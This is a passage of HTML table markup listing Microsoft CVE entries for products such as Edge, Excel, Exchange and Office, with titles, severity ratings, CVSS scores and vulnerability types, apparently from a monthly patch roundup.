  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
